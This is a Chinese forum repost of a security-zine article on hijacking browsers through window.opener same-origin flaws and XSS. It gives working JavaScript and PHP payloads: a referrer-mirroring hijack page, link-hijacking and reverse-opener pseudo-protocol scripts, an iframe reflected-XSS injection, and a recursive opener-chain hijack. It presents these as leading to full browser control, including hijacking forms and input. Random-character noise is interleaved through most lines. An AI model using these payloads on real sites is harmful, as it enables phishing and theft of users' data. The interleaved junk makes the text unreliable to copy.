找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2177|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==
0 x; Q: |" E5 \3 F+ _' F* [1 d1 w 7 {: l, a8 ^9 p
                       Issue 0x03, Phile #0x05 of 0x07. ?* f. y8 S8 s  q# D! V3 R  q4 S
8 b5 K! x1 q( |9 W5 C7 d0 R& ^
1 p& n0 H+ X4 B! j( N( `
|=---------------------------------------------------------------------------=|
/ c  j/ @' r3 Z|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
9 ~$ b1 I! p: G! g( q|=---------------------------------------------------------------------------=|
; ]1 T- O7 d6 M& f|=---------------------------------------------------------------------------=|
9 y2 i6 R2 c$ m6 G0 W|=------------------------=[      By rayh4c     ]=---------------------------=|
) T' k( O- @1 Z# t) x+ w/ ~- A|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
6 W1 Y0 L5 l2 n9 z|=---------------------------------------------------------------------------=|
2 X1 `; {$ p0 K7 t" I5 e9 U4 g
* T  {2 y. j  w3 |. g! U! k' ^9 T$ h% M
[目录]
5 G5 O  G6 w% s1 z
8 j- u+ s6 u& Y' K3 K1. 前言8 Q# F! w+ u; q& c+ M5 d& q. F
2. 同源策略简叙
" a7 |. V( L- i& M/ u9 y3. 理解window对象的同源策略
: e$ F: b# O/ u! k; A/ S$ R, v4. 窗口引用功能中的同源策略漏洞. L/ B  {/ O# K5 |( V
  4.1 父窗口引用子窗口的同源策略问题) O3 O+ K4 l% _& k5 F- Q2 m' C
  4.2 子窗口引用父窗口的同源策略问题
( i+ |! C2 L) D' B5. 利用窗口引用漏洞劫持浏览器
. `* b8 k2 m& T- w; g7 m6. 利用XSS漏洞劫持浏览器" O% ^& L5 \4 F0 n( g/ v4 b
  6.1 正向跨窗口劫持2 E+ o# E; U3 |" h, t- P
  6.2 反向跨窗口劫持; b2 Q8 I+ c! D$ H+ r
  6.3 极度危险的跨框架窗口引用劫持, O2 ]7 p+ E* a$ a$ M
  6.4 极度危险的正反向跨窗口递归劫持
0 t( v4 @7 {5 A1 K3 \9 I- U/ p6 o  6.5 完全控制浏览器8 M9 l/ e4 Q: a- |8 C/ ^
7. 后记
3 c5 @; c$ d( g) T1 g8. 参考1 j& F  u9 L: d

+ _6 O0 F' }; G2 }/ _6 w" ]1 c: o* W3 G% Q4 T! l% ^% L/ c* N
一、前言$ @' s4 m5 l# [* U) `$ }4 q  G
; P) ~+ }+ R7 U) ]5 W
    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
0 S9 J9 z  W+ P友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session' o, s- z7 m4 Y; s/ i& [
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被! @- d$ E& q* ]& I( s" w7 P: Z! V
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
* o% x5 o0 |3 ~
, \& |* \/ o5 e2 B, W8 M. J9 t& d  h! q; c; v" Z
二、同源策略简叙
6 X, b$ R  E% Z2 O. b7 z  b  v. K5 ~7 \, |9 V
    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
; v; Y5 r, H  q* Y从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都7 q. s. ~2 W, ?$ g
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
+ H. U5 p; g. i8 A9 \- A7 j马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个$ V! p3 f' a! U, \! M, z) T
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。* G3 x  ?6 g. K( r+ f: Q
# @. Z' [6 K  m; w5 C1 A0 T
( C3 u% p* _6 i! ?1 d* y2 D
三、理解window对象的同源策略
$ R- w) @5 [3 G+ l0 `% x" z
. T7 c; Y$ K! L, @    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
) O. B" H/ c# ~7 h象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
$ t2 S/ O# X% E1 ?2 u
" ~1 q0 ^3 o* B/ @, ^--code-------------------------------------------------------------------------# M4 P0 H& {, q/ I8 ~0 b; j. e2 Y/ O
<script language="javascript">2 W# a: t+ P, |7 ]$ ]0 \
for(p in window) document.write(p+"<br>");
) k" L# @7 y3 b4 t: z! x</script>
% W: C5 M8 H$ S0 |4 ^-------------------------------------------------------------------------------
1 Y  P5 O+ G+ x* L, U7 J+ v& `& L+ f9 X) C( Q
    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
  F7 N; e  |- X; H+ C% m法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
5 [' v2 A& t/ L- L6 `8 F这些属性和方法就必须遵循同源策略。* S2 C3 `5 p7 U% g, H

5 `2 [  a  p6 K; d    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那: ^4 k- ^* t: a8 d' _
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须$ @3 q) z0 e$ y# o7 a  o
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
5 \. Q. v/ x6 }  E1 }1 V4 F个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
, J# F6 A! ^' ?  ?3 x值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
$ F$ G. J: w. A/ e+ z. n  X属性并没有被拒绝访问。/ l, o; V' Q$ S% S
2 h3 o2 v, w" K& B
--demo.html--------------------------------------------------------------------
- v6 _  d' l$ \2 g" n<script language="javascript">   1 o! b/ Z% i# y/ k+ b$ d3 U
function allPrpos(obj) {      / e$ k. \: S8 A) M) d5 w
      var props = "<table><tr><td>名称</td><td>值</td>";             M8 \8 A/ w5 H5 c# [9 p
      for(var p in obj){         
! Y7 O7 @- D# W/ \- O9 G            if(typeof(obj[p])=="function"){   - J. i( D( O+ d. A/ u% E7 Y( V" S. `
                   obj[p]();   
/ q3 A* O. R  n+ p             }else{                      $ z/ \7 m& N4 T
                  try   7 k7 v9 U$ Q% F3 P6 ]
                   {   
/ f* s1 {9 l* _4 c6 D' b4 Y! x                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   0 T) S+ B) X$ z- M6 M
                   }   
+ ^; g* j& M8 [: D7 ~' A                  catch (ex)   
8 ], H& {/ c! X6 n. b                   {   
" H5 T0 R6 {( H                   9 @! e0 ~6 a( W" D: m
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   ( _1 `7 C. r; ?0 x
                   }   
  ]5 E1 t5 {& k" D                       
, f4 o) o+ ]' q# C             }   + Q( X& r/ ?) U. `! }% A( h) C
       }   $ q3 I- K! p. @. N5 r0 ~3 p2 Y
   3 I- `' Y7 I7 {. {2 Y
       document.write(props+"</table>");   - n4 Z5 i4 ?( L& V
}   $ R: ?1 |# |* h* @, _/ c1 X
   
; \( V. g, g* k$ y2 \9 Afunction createWin() {' G- G/ Y) {  U* a1 x
        newWin = window.open ("http://www.google.com");  
8 x0 [: k; v) [; j        setTimeout(function(){allPrpos(newWin)},2000); + J1 [: Y' [9 Q$ u: H7 ^) V
} . C4 D" N" a0 p, H6 _+ f
. e% v. r% D: E& L
</script> / p$ Y% H) B# ^

8 z0 p7 G1 g: ^5 t5 i: b<button onclick='createWin()'>创建一个非同源子窗口测试</button>
9 J* U9 Y7 D, V# }' ?4 X0 v9 C-------------------------------------------------------------------------------
# P& {: z% ^) l
) f$ F: E. i$ {4 o# i. t) D* d% j5 k  m  h
四、窗口引用功能中的同源策略漏洞
" U3 |7 y, v: d' T9 w6 M
( g' }5 y. {* F( W$ a% l4.1 父窗口引用子窗口的同源策略问题" c! i9 y0 Q+ R; ?7 t) `
% d7 @6 N! B7 A8 X7 w
    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,- M# |- v- G3 u* {& J. p
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道6 V1 b1 J; |+ r, X& [2 T( t
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进1 |$ `9 Z! H/ b) u
行测试,会发现父窗口可以控制非同源子窗口location属性值。
" q" R# c* R2 ?" N- A* Z  a2 f# I* y- ~2 o
--vul1.html--------------------------------------------------------------------
* H8 G$ A' n/ v8 G& Y8 Q. b5 C# g<script language="javascript"> . T- l3 d/ [( T  {
function createWin() {  
$ [! n( G9 H$ |7 x. a; `4 J7 s% @* M        newWin = window.open ("http://www.google.com");  
. L, y% z% T. }% C% V. N7 F1 b        setTimeout(function(){newWin.location="http://www.80sec.com"},2000); 8 T- }! t+ u- w: z" b* \' m
} % ^; s4 B, a9 o; f  R
</script>
: w. j8 S) q' ~( f! n5 u2 E: f3 _& t7 P0 d
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
- X; m8 \7 ?6 J7 ^1 c/ ]- O-------------------------------------------------------------------------------5 m; f% {; \. C; {/ m+ `2 ?
6 H4 y) ]5 G% j. q+ W6 l# H
6 `- Z; t; B, j* l
4.2 子窗口引用父窗口的同源策略问题
6 X- j% f( x( [5 C& n" {1 m  `
! k' @8 S, y  H4 j0 L1 V    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
+ X: O# W1 j% ?5 Z, x, b用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
( m: q; t# T% v; b/ O: b7 u0 {可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定) T; z+ A$ o# g$ ^$ z# Z  C7 }
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。- }: T2 _3 S6 L  d& g- J

/ c9 j  h0 H+ A--code-------------------------------------------------------------------------2 b/ f+ \0 C' C: l( I; \# k, a
9 _$ r% ~# N. b8 g6 E. L$ A: p
javascript:window.opener.location = "http://www.80sec.com";void(0);. ^" O5 ~1 d7 X5 u1 Y

; y9 [: F! z2 x' W5 P-------------------------------------------------------------------------------
+ s% F% T  h1 @7 G9 C7 s
7 q% j8 z/ X7 {- f6 \1 q: A2 m( m4 u+ e5 `
五、利用窗口引用漏洞劫持浏览器
  Q% F# w3 ^- ?' R8 n% @) T7 u2 R1 w1 }7 [
    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
- ?5 M; C5 E' O* i; K6 b' \窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
0 n5 ~# O% u/ m4 D* V$ j么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
, a. m( g. y6 z0 R: e1 x: u* N1 k, c. i+ S2 W2 {
    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
& K: a! t6 u) j- i7 a2 ]0 W/ z生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或! j; i$ H& }9 Y3 p% `5 t
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
* r# j  I* M7 k0 M- k5 F, ], n1 P' i后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下- j% Y' A5 Q0 D2 ?
会产生什么可怕的后果。7 j# M. p' j4 l6 y; A; n3 D

) Z, \1 m. w, c    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
0 P! G6 y5 k( [3 V+ K! l' Q们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
) e2 Q, h- \! R) _8 n& F. E! `; q. A这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时# i. c9 M$ K- b. N9 |3 o' ?9 }
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可) x4 J6 R9 d# D: v2 v
以做更多的事情,所有的一切仅仅是因为点击了一个链接。6 J6 B) t( l; A. @  e6 b! K% D, \. O

1 D* y1 ?9 Q8 w--hjk_ref.php------------------------------------------------------------------+ ~, [7 b3 Q# X8 u
<?php0 s; }6 G, ~: i& u7 z  M, J4 }
if (array_key_exists("HTTP_REFERER", $_SERVER)) {+ X5 l7 K4 h' ]/ W, \
$Url_Mirror = $_SERVER["HTTP_REFERER"];9 L7 r" z7 E* G7 W2 L; v
}
+ O) O3 o; B) N. k( H# |% {6 tif(isset ($_GET['ref'])) {
: t8 k8 S+ {8 r3 F5 x) O. Eecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
$ S. g4 T2 v7 Y- [}7 L- m# l, L" `6 r$ f1 e
?>
. a4 D5 C9 x; `6 y9 |, h/ B& y; |2 N+ @. [! x8 S) m4 F; _
<script language="javascript">
' @& `6 ~) ~* ~setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);        
$ J+ L  l0 M1 ^  q1 Y$ M6 Z</script>+ W- w: R% {6 h: o! `1 Q+ W
-------------------------------------------------------------------------------" y3 O: H2 u$ {9 k% V: P
2 X' f7 f; \+ d1 w+ {3 Q
    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。& @9 b4 O1 h9 }( V( ?, ]

+ O. K8 h: {8 s3 L' m* _7 u% ?( E  _/ u4 N: J8 a3 J
六、利用XSS漏洞劫持浏览器) B: }+ s# r" c

& o; z1 R+ V* O    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
7 a- \3 b  L! D; }# U持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后- z1 k# I7 i- A' D, b) f8 B2 T
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
* l+ L" _* x1 [讨论跨站师的终极技巧:  C7 f2 P4 R8 k4 h0 X
. U8 U. h8 U- A' i* u6 x
! L9 V$ F8 u( ~7 T0 _9 E
6.1 正向跨窗口劫持" E) ?1 Z% M2 R, h5 G' P( \

" K. v# m: L7 R5 f  m6 ^    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
5 z7 o: R- H9 M6 i* O/ c主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
% K5 ~5 ^" V& Z/ C: I9 s接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话; s: B9 z7 J7 W* b) L# w
框脚本。
( v1 v- H/ Q. Z8 p  P- Q; l: L8 r" B: g) N; G, a* T6 S& Q( E
--hijack_open.js---------------------------------------------------------------" I0 y; J! i- S+ o( y

6 Y5 w, o" z4 f: _: B) X$ h8 Jjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);: f$ Z% i6 y' E, P' {
/ `9 j# P; \' R5 l1 c% P! h6 F
-------------------------------------------------------------------------------
  `% }3 j7 g  M" w  Z+ p" Z5 m8 S  X) [4 r

# G; W( N  W+ y9 n' O' ^% c6.2 反向跨窗口劫持
8 q6 h5 R3 B0 q6 d( D
; y0 v( M' s" j$ c2 `+ S( {( @- p    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代6 _( m! O' W1 E( j2 u  v
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话! \1 O  L9 s* q3 `# _
框脚本。
) k; |0 A% c& @, \# U& s' u! m( v2 e# Y1 I
--hijack_opener.js-------------------------------------------------------------- M! o4 J" G5 c& P
( q$ M( D9 g/ y; O7 t3 v# P
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);9 b/ ?$ Z7 Y% _- J
+ _6 ]7 K) f& S4 @
-------------------------------------------------------------------------------- r9 `, U) x) ^+ i5 F

+ Q% x6 W0 @2 Y' h, L
/ }0 ?' A/ N1 e6.3 极度危险的跨框架窗口引用劫持+ j" z! B# @, `; `
/ v$ y/ F5 u  {5 s
    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞0 B" K; f' n( Z+ ~
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就: [# P, ]. B+ V9 X
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个: Z1 V" o/ a1 j" q
非持久型的XSS,如下:: i; s3 W( p. e2 v
3 ^+ X# m; [+ ~1 v
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
8 d# l5 p- p0 x9 U
" l2 [/ D; H( b7 a% ~    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口, X+ z' l( R8 C& z
注入脚本。4 l! l4 S$ \% q9 v0 {
4 Z4 q( ~- f! ~- ]9 a4 f
--hijack_frame_opener.js-------------------------------------------------------9 v; W6 {$ }8 }2 E
<script>
, m1 ~' D) g+ v" s4 Qwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";$ [/ R( B6 b% b
</script># F; P3 b; s# E5 J. i3 L+ m
-------------------------------------------------------------------------------
' X& k7 C" K6 D
1 a. i0 v! q' {) w
- |( x: ~" B( G) m6.4 极度危险的正反向跨窗口递归劫持
: P. s0 `  J3 C+ w0 g% b9 E
. f8 X4 R1 j$ t1 c% V+ e3 ^    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window! f, f: s9 O* {( b
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
" O  s2 a- U% W/ N' \! |6 V9 H- G异常处理规避之间跨域页面的访问异常,代码如下:: m2 W* M; A# x3 u
% N/ g6 W0 @- Z8 k; t* |1 q
--code-------------------------------------------------------------------------% `, O% a8 f1 O! H8 W
) d6 z/ b8 J6 G' |1 }8 A
javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
  P8 j) l2 [9 w# B' P7 n. @* J3 Z; G. A  ^
-------------------------------------------------------------------------------
6 x9 H% w" O; f+ K
+ J4 a1 j; V; L, d4 U: R. N8 v* A    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可; ?* e2 W$ U* @: t5 }9 W
以劫持B域之前的A域页面,从而实现“隔空打击”。3 Z) I; A- q9 J
8 w' m0 p8 G2 G2 q/ r) m6 ], q
    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
1 W4 U: ~; B3 a2 A执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。7 t! y. J; I7 l- C3 O" Z* c2 U

2 `  }$ S3 [$ b8 \    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
$ j" \" N$ q* N4 T# j+ i8 P: P+ M& `/ Q2 q
) T; i' I8 d5 M# U/ }& h6 Z; e
6.5 完全控制浏览器
0 U; R1 O+ y- d, N# h) z
# c# h: c% n' A7 V. B    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
2 M6 _7 [6 u9 W- \' l是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS. m/ G. h6 u1 D& A$ e3 i7 J- D
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
* ]: G$ U  t# n, s* |. g而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再9 |  t) |! e! h$ Y( n$ Z( u! Z
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
! ^8 Q* ]$ Q  e9 B师的终极目标 - 完全控制浏览器。
# D9 ~  L- s! f+ @4 V" R2 }4 Q9 r6 g5 a; ~/ T0 N
2 T4 ?6 G  g4 Y% i/ z& P/ G
七、后记: R) Q5 N9 V0 C6 r" T

8 t8 x0 h- z, C; p* K    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
1 u* t) i% v  u与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
1 Z- n& E3 K* c1 a3 }! e$ r1 ?5 z过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
- P# G9 D; \6 p7 R$ e6 U$ ~
0 Q* g. C; O! k6 M! @4 g2 b6 ]
3 q5 H3 R+ X1 W) ?  y+ W: N八、参考1 m7 I: \$ }1 L5 N& q4 S; U0 V

/ F, _4 ?" E3 \, H0 V1. http://en.wikipedia.org/wiki/Same_origin_policy; N8 _! O1 v7 N3 d. g
2. http://code.google.com/p/browser ... licy_for_DOM_access
* W' T, L/ z, O! x! @/ U3. http://www.w3.org/TR/Window/
8 S' h* L' ^, l( Q+ x/ V! D- z4. http://www.80sec.com/release/browser-hijacking.txt' y' I% ?. m- I7 e: J6 ?
5. http://www.80sec.com/all-browser-security-alert.html
  B$ ]$ B3 \- K- y6. http://www.80sec.com/ms08-058-attacks-google.html
. }$ o8 B. |7 _4 n2 a
9 O! S$ o4 x- F-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表